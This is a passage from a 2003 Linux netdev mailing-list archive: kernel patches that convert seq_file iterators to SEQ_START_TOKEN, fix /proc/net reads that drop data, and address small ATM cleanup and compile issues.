@@ -2918,7 +2918,7 @@ mdk_rdev_t *rdev; int i; - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "Personalities : "); spin_lock(&pers_lock); for (i = 0; i < MAX_PERSONALITY; i++) From joe@perches.com Fri Sep 5 18:48:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 18:48:24 -0700 (PDT) Received: from Perches.com (DSL022.LABridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h861mAx4028878 for ; Fri, 5 Sep 2003 18:48:11 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id TAA13376; Fri, 5 Sep 2003 19:37:48 -0700 Subject: [PATCH] 2.6.0-test4 SEQ_START_TOKEN drivers/net (5/6) From: Joe Perches To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1062812890.16851.171.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 05 Sep 2003 18:48:10 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5659 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev diff -urN linux-2.6.0-test4/drivers/net/pppoe.c SEQ_START_TOKEN/drivers/net/pppoe.c -- linux-2.6.0-test4/drivers/net/pppoe.c 2003-08-22 16:57:18.000000000 -0700 +++ SEQ_START_TOKEN/drivers/net/pppoe.c 2003-09-04 19:46:59.000000000 -0700 @@ -986,7 +986,7 @@ struct pppox_opt *po; char *dev_name; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Id Address Device\n"); goto out; } @@ -1025,7 +1025,7 @@ loff_t l = *pos; read_lock_bh(&pppoe_hash_lock); - return l ? pppoe_get_idx(--l) : (void *)1; + return l ? pppoe_get_idx(--l) : SEQ_START_TOKEN; } static void *pppoe_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -1033,7 +1033,7 @@ struct pppox_opt *po; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { po = pppoe_get_idx(0); goto out; } From joe@perches.com Fri Sep 5 18:48:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 18:48:59 -0700 (PDT) Received: from Perches.com (DSL022.LABridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h861mNx4029073 for ; Fri, 5 Sep 2003 18:48:23 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id TAA13387; Fri, 5 Sep 2003 19:38:00 -0700 Subject: [PATCH] 2.6.0-test4 SEQ_START_TOKEN fs/* (6/6) From: Joe Perches To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1062812902.16851.173.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 05 Sep 2003 18:48:23 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5660 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev diff -urN linux-2.6.0-test4/fs/afs/proc.c SEQ_START_TOKEN/fs/afs/proc.c -- linux-2.6.0-test4/fs/afs/proc.c 2003-08-22 16:53:39.000000000 -0700 +++ SEQ_START_TOKEN/fs/afs/proc.c 2003-09-04 20:13:29.000000000 -0700 @@ -188,7 +188,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -210,7 +210,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? afs_proc_cells.next : _p->next; + _p = v==SEQ_START_TOKEN ? afs_proc_cells.next : _p->next; return _p!=&afs_proc_cells ? _p : NULL; } /* end afs_proc_cells_next() */ @@ -234,7 +234,7 @@ afs_cell_t *cell = list_entry(v,afs_cell_t,proc_link); /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "USE NAME\n"); return 0; } @@ -432,7 +432,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -457,7 +457,7 @@ (*_pos)++; _p = v; - _p = v==(void*)1 ? cell->vl_list.next : _p->next; + _p = v==SEQ_START_TOKEN ? cell->vl_list.next : _p->next; return _p!=&cell->vl_list ? _p : NULL; } /* end afs_proc_cell_volumes_next() */ @@ -483,7 +483,7 @@ afs_vlocation_t *vlocation = list_entry(v,afs_vlocation_t,link); /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "USE VLID[0] VLID[1] VLID[2] NAME\n"); return 0; } @@ -556,7 +556,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; if (pos>=cell->vl_naddrs) @@ -673,7 +673,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -698,7 +698,7 @@ (*_pos)++; _p = v; - _p = v==(void*)1 ? cell->sv_list.next : _p->next; + _p = v==SEQ_START_TOKEN ? cell->sv_list.next : _p->next; return _p!=&cell->sv_list ? _p : NULL; } /* end afs_proc_cell_servers_next() */ @@ -725,7 +725,7 @@ char ipaddr[20]; /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "USE ADDR STATE\n"); return 0; } diff -urN linux-2.6.0-test4/fs/nfsd/export.c SEQ_START_TOKEN/fs/nfsd/export.c -- linux-2.6.0-test4/fs/nfsd/export.c 2003-08-22 16:57:00.000000000 -0700 +++ SEQ_START_TOKEN/fs/nfsd/export.c 2003-09-04 19:51:24.000000000 -0700 @@ -935,7 +935,7 @@ exp_readlock(); read_lock(&svc_export_cache.hash_lock); if (!n--) - return (void *)1; + return SEQ_START_TOKEN; hash = n >> 32; export = n & ((1LL<<32) - 1); @@ -959,7 +959,7 @@ struct cache_head *ch = p; int hash = (*pos >> 32); - if (p == (void *)1) + if (p == SEQ_START_TOKEN) hash = 0; else if (ch->next == NULL) { hash++; @@ -1029,7 +1029,7 @@ struct svc_export *exp = container_of(cp, struct svc_export, h); svc_client *clp; - if (p == (void *)1) { + if (p == SEQ_START_TOKEN) { seq_puts(m, "# Version 1.1\n"); seq_puts(m, "# Path Client(Flags) # IPs\n"); return 0; From yoshfuji@linux-ipv6.org Sat Sep 6 00:04:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 00:04:55 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8674Ix4016693 for ; Sat, 6 Sep 2003 00:04:22 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8674w1M018639; Sat, 6 Sep 2003 16:04:58 +0900 Date: Sat, 06 Sep 2003 16:04:58 +0900 (JST) Message-Id: <20030906.160458.39800982.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com CC: yoshfuji@linux-ipv6.org Subject: Re: /proc/net/* read drops data From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20030904004638.1d4b001d.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5661 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Thu, 4 Sep 2003 12:25:16 -0400 (EDT)), Ricky Beam says: > >This fix looks good to me. Applied. > > The list: > (file) (bs=1) (bs=10000) > /proc/net/igmp 122 191 > /proc/net/route 128 384 > /proc/net/rt_acct 0 4096 > /proc/net/rt_cache 384 512 > /proc/net/tcp 1800 1950 > /proc/net/udp 1024 1152 Well, I'm about to post 3 patches. [1/3] /proc/net/{igmp,msfilter,raw,rt_cache,ip6_flowlabel,msfilter6,raw6} may drop some data [2/3] /proc/net/if_inet6 may drop some data [3/3] clean up /proc/net/{anycast6,igmp6} Note 0: These confilct with SEQ_START_TOKEN patches; I'll regenerate if SEQ_START_TOKEN accepted. Note 1: /proc/net/rt_acct does not use seq_file Note 2: /proc/net/{route,tcp,tcp6} is not fixed by these -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sat Sep 6 00:10:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 00:10:39 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h867A3x4017325 for ; Sat, 6 Sep 2003 00:10:04 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h867Ai1M018705; Sat, 6 Sep 2003 16:10:44 +0900 Date: Sat, 06 Sep 2003 16:10:44 +0900 (JST) Message-Id: <20030906.161044.46842553.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com Cc: yoshfuji@linux-ipv6.org Subject: [PATCH 1/3] /proc/net/{igmp,msfilter,raw,rt_cache,ip6_flowlabel,msfilter6,raw6} may drop some data (Re: /proc/net/* read drops data) From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030906.160458.39800982.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5662 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev [1/3] /proc/net/{igmp,msfilter,raw,rt_cache,ip6_flowlabel,msfilter6,raw6} may drop some data Index: linux-2.6/net/ipv4/igmp.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/igmp.c,v retrieving revision 1.34 diff -u -r1.34 igmp.c --- linux-2.6/net/ipv4/igmp.c 1 Sep 2003 05:52:50 -0000 1.34 +++ linux-2.6/net/ipv4/igmp.c 6 Sep 2003 04:23:07 -0000 @@ -2162,7 +2162,7 @@ static void *igmp_mc_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mc_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp_mc_get_idx(seq, *pos - 1) : (void *)1; } static void *igmp_mc_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -2337,7 +2337,7 @@ static void *igmp_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mcf_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp_mcf_get_idx(seq, *pos - 1) : (void *)1; } static void *igmp_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv4/raw.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/raw.c,v retrieving revision 1.35 diff -u -r1.35 raw.c --- linux-2.6/net/ipv4/raw.c 11 Jul 2003 04:06:16 -0000 1.35 +++ linux-2.6/net/ipv4/raw.c 6 Sep 2003 04:23:07 -0000 @@ -736,7 +736,7 @@ static void *raw_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v4_lock); - return *pos ? raw_get_idx(seq, *pos) : (void *)1; + return *pos ? raw_get_idx(seq, *pos - 1) : (void *)1; } static void *raw_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv4/route.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/route.c,v retrieving revision 1.58 diff -u -r1.58 route.c --- linux-2.6/net/ipv4/route.c 1 Sep 2003 05:52:50 -0000 1.58 +++ linux-2.6/net/ipv4/route.c 6 Sep 2003 04:23:07 -0000 @@ -259,7 +259,7 @@ static void *rt_cache_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? rt_cache_get_idx(seq, *pos) : (void *)1; + return *pos ? rt_cache_get_idx(seq, *pos - 1) : (void *)1; } static void *rt_cache_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/ip6_flowlabel.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/ip6_flowlabel.c,v retrieving revision 1.8 diff -u -r1.8 ip6_flowlabel.c --- linux-2.6/net/ipv6/ip6_flowlabel.c 2 Sep 2003 14:48:07 -0000 1.8 +++ linux-2.6/net/ipv6/ip6_flowlabel.c 6 Sep 2003 04:23:07 -0000 @@ -603,7 +603,7 @@ static void *ip6fl_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&ip6_fl_lock); - return *pos ? ip6fl_get_idx(seq, *pos) : (void *)1; + return *pos ? ip6fl_get_idx(seq, *pos - 1) : (void *)1; } static void *ip6fl_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/mcast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/mcast.c,v retrieving revision 1.31 diff -u -r1.31 mcast.c --- linux-2.6/net/ipv6/mcast.c 1 Sep 2003 05:52:50 -0000 1.31 +++ linux-2.6/net/ipv6/mcast.c 6 Sep 2003 04:23:07 -0000 @@ -2278,7 +2278,7 @@ static void *igmp6_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp6_mcf_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp6_mcf_get_idx(seq, *pos - 1) : (void *)1; } static void *igmp6_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/raw.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/raw.c,v retrieving revision 1.37 diff -u -r1.37 raw.c --- linux-2.6/net/ipv6/raw.c 18 Aug 2003 10:14:52 -0000 1.37 +++ linux-2.6/net/ipv6/raw.c 6 Sep 2003 04:23:07 -0000 @@ -961,7 +961,7 @@ static void *raw6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v6_lock); - return *pos ? raw6_get_idx(seq, *pos) : (void *)1; + return *pos ? raw6_get_idx(seq, *pos - 1) : (void *)1; } static void *raw6_seq_next(struct seq_file *seq, void *v, loff_t *pos) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sat Sep 6 00:10:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 00:10:41 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h867A7x4017336 for ; Sat, 6 Sep 2003 00:10:08 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h867Am1M018711; Sat, 6 Sep 2003 16:10:48 +0900 Date: Sat, 06 Sep 2003 16:10:48 +0900 (JST) Message-Id: <20030906.161048.102426251.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com Cc: yoshfuji@linux-ipv6.org Subject: [PATCH 2/3] /proc/net/if_inet6 may drop some data (Re: /proc/net/* read drops data) From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030906.160458.39800982.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5663 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev [2/3] /proc/net/if_inet6 may drop some data Index: linux-2.6/net/ipv6/addrconf.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/addrconf.c,v retrieving revision 1.52 diff -u -r1.52 addrconf.c --- linux-2.6/net/ipv6/addrconf.c 4 Sep 2003 15:47:07 -0000 1.52 +++ linux-2.6/net/ipv6/addrconf.c 6 Sep 2003 04:23:07 -0000 @@ -2149,59 +2149,65 @@ int bucket; }; -static inline struct inet6_ifaddr *if6_get_bucket(struct seq_file *seq, loff_t *pos) +static struct inet6_ifaddr *if6_get_first(struct seq_file *seq) { - int i; struct inet6_ifaddr *ifa = NULL; - loff_t l = *pos; struct if6_iter_state *state = seq->private; - for (; state->bucket < IN6_ADDR_HSIZE; ++state->bucket) - for (i = 0, ifa = inet6_addr_lst[state->bucket]; ifa; ++i, ifa=ifa->lst_next) { - if (l--) - continue; - *pos = i; - goto out; - } -out: + for (state->bucket = 0; state->bucket < IN6_ADDR_HSIZE; ++state->bucket) { + ifa = inet6_addr_lst[state->bucket]; + if (ifa) + break; + } + return ifa; +} + +static struct inet6_ifaddr *if6_get_next(struct seq_file *seq, struct inet6_ifaddr *ifa) +{ + struct if6_iter_state *state = seq->private; + + ifa = ifa->lst_next; +try_again: + if (!ifa && ++state->bucket < IN6_ADDR_HSIZE) { + ifa = inet6_addr_lst[state->bucket]; + goto try_again; + } return ifa; } +static struct inet6_ifaddr *if6_get_idx(struct seq_file *seq, loff_t pos) +{ + struct inet6_ifaddr *ifa = if6_get_first(seq); + + if (ifa) + while(pos && (ifa = if6_get_next(seq, ifa)) != NULL) + --pos; + return pos ? NULL : ifa; +} + static void *if6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&addrconf_hash_lock); - return *pos ? if6_get_bucket(seq, pos) : (void *)1; + return if6_get_idx(seq, *pos); } static void *if6_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct inet6_ifaddr *ifa; - struct if6_iter_state *state; - - if (v == (void *)1) { - ifa = if6_get_bucket(seq, pos); - goto out; - } - - state = seq->private; - - ifa = v; - ifa = ifa->lst_next; - if (ifa) - goto out; - - if (++state->bucket >= IN6_ADDR_HSIZE) - goto out; - *pos = 0; - ifa = if6_get_bucket(seq, pos); -out: + ifa = if6_get_next(seq, v); ++*pos; return ifa; } -static inline void if6_iface_seq_show(struct seq_file *seq, struct inet6_ifaddr *ifp) +static void if6_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock_bh(&addrconf_hash_lock); +} + +static int if6_seq_show(struct seq_file *seq, void *v) { + struct inet6_ifaddr *ifp = (struct inet6_ifaddr *)v; seq_printf(seq, "%04x%04x%04x%04x%04x%04x%04x%04x %02x %02x %02x %02x %8s\n", NIP6(ifp->addr), @@ -2210,20 +2216,7 @@ ifp->scope, ifp->flags, ifp->idev->dev->name); -} - -static int if6_seq_show(struct seq_file *seq, void *v) -{ - if (v == (void *)1) - return 0; - else - if6_iface_seq_show(seq, v); return 0; -} - -static void if6_seq_stop(struct seq_file *seq, void *v) -{ - read_unlock_bh(&addrconf_hash_lock); } static struct seq_operations if6_seq_ops = { -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sat Sep 6 00:10:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 00:10:45 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h867ACx4017342 for ; Sat, 6 Sep 2003 00:10:12 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h867Ar1M018717; Sat, 6 Sep 2003 16:10:53 +0900 Date: Sat, 06 Sep 2003 16:10:53 +0900 (JST) Message-Id: <20030906.161053.26466972.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com Cc: yoshfuji@linux-ipv6.org Subject: [PATCH 3/3] clean up /proc/net/{anycast6,igmp6} (Re: /proc/net/* read drops data) From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030906.160458.39800982.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5664 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev [3/3] clean up /proc/net/{anycast6,igmp6} Index: linux-2.6/net/ipv6/anycast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/anycast.c,v retrieving revision 1.7 diff -u -r1.7 anycast.c --- linux-2.6/net/ipv6/anycast.c 25 Jul 2003 17:11:54 -0000 1.7 +++ linux-2.6/net/ipv6/anycast.c 6 Sep 2003 04:23:07 -0000 @@ -505,7 +505,7 @@ static void *ac6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? ac6_get_idx(seq, *pos) : ac6_get_first(seq); + return ac6_get_idx(seq, *pos); } static void *ac6_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/mcast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/mcast.c,v retrieving revision 1.31 diff -u -r1.31 mcast.c --- linux-2.6/net/ipv6/mcast.c 1 Sep 2003 05:52:50 -0000 1.31 +++ linux-2.6/net/ipv6/mcast.c 6 Sep 2003 04:23:07 -0000 @@ -2119,7 +2119,7 @@ static void *igmp6_mc_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp6_mc_get_idx(seq, *pos) : igmp6_mc_get_first(seq); + return igmp6_mc_get_idx(seq, *pos); } static void *igmp6_mc_seq_next(struct seq_file *seq, void *v, loff_t *pos) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From moz@compsoc.man.ac.uk Sat Sep 6 01:26:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 01:26:42 -0700 (PDT) Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h868Q7x4004903 for ; Sat, 6 Sep 2003 01:26:08 -0700 Received: from compsoc.umu.man.ac.uk ([130.88.22.5] helo=mrtall.compsoc.man.ac.uk ident=exim) by probity.mcc.ac.uk with esmtp (Exim 4.20) id 19vDJb-000HvA-5c; Fri, 05 Sep 2003 10:55:39 +0100 Received: from moz by mrtall.compsoc.man.ac.uk with local (Exim 3.33 #1) id 19vDJb-000Fua-00; Fri, 05 Sep 2003 10:55:39 +0100 Date: Fri, 5 Sep 2003 10:55:39 +0100 From: John Levon To: "David S. Miller" Cc: chas3@users.sourceforge.net, chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM] a few patches from John Levon Message-ID: <20030905095539.GD38861@compsoc.man.ac.uk> References: <200309041917.h84JHrSa020864@ginger.cmf.nrl.navy.mil> <20030905023536.68e808e7.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030905023536.68e808e7.davem@redhat.com> User-Agent: Mutt/1.3.25i X-Url: http://www.movementarian.org/ X-Record: King of Woolworths - L'Illustration Musicale X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19vDJb-000HvA-5c*HzwNdVy0eOM* X-archive-position: 5665 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: levon@movementarian.org Precedence: bulk X-list: netdev On Fri, Sep 05, 2003 at 02:35:36AM -0700, David S. Miller wrote: > All applied, although: > > > # [ATM]: fix atm_dev module refcount bug (from levon@movementarian.org) > > You included this patch twice :-) Hmm, then I think you're missing patch 5 : diff -Naur -X dontdiff linux-cvs/net/atm/pppoatm.c linux-fixes/net/atm/pppoatm.c --- linux-cvs/net/atm/pppoatm.c 2003-08-29 16:57:07.000000000 +0100 +++ linux-fixes/net/atm/pppoatm.c 2003-09-04 10:51:19.000000000 +0100 @@ -341,16 +341,13 @@ return -ENOIOCTLCMD; } -/* the following avoids some spurious warnings from the compiler */ -#define UNUSED __attribute__((unused)) - -static int __init UNUSED pppoatm_init(void) +static int __init pppoatm_init(void) { pppoatm_ioctl_set(pppoatm_ioctl); return 0; } -static void __exit UNUSED pppoatm_exit(void) +static void __exit pppoatm_exit(void) { pppoatm_ioctl_set(NULL); } From moz@compsoc.man.ac.uk Sat Sep 6 04:10:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 04:10:50 -0700 (PDT) Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h86BADx4028706 for ; Sat, 6 Sep 2003 04:10:14 -0700 Received: from compsoc.umu.man.ac.uk ([130.88.22.5] helo=mrtall.compsoc.man.ac.uk ident=exim) by serenity.mcc.ac.uk with esmtp (Exim 4.20) id 19vKjp-0006rp-JU; Fri, 05 Sep 2003 18:51:13 +0100 Received: from moz by mrtall.compsoc.man.ac.uk with local (Exim 3.33 #1) id 19vKjp-000BNU-00; Fri, 05 Sep 2003 18:51:13 +0100 Date: Fri, 5 Sep 2003 18:51:13 +0100 From: John Levon To: netdev@oss.sgi.com, shemminger@osdl.org, linux-atm-general@lists.sourceforge.net Subject: [PATCH] ATM - fix seqfile compile failure Message-ID: <20030905175113.GA40730@compsoc.man.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i X-Url: http://www.movementarian.org/ X-Record: King of Woolworths - L'Illustration Musicale X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19vKjp-0006rp-JU*Tvq5J9s2aGU* X-archive-position: 5666 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: levon@movementarian.org Precedence: bulk X-list: netdev The recent conversion to seq_file breaks CONFIG_ATM_BR2684_IPFILTER compile. I have absolutely no idea what the original author was attempting to achieve with the "pos" thing, btw ... 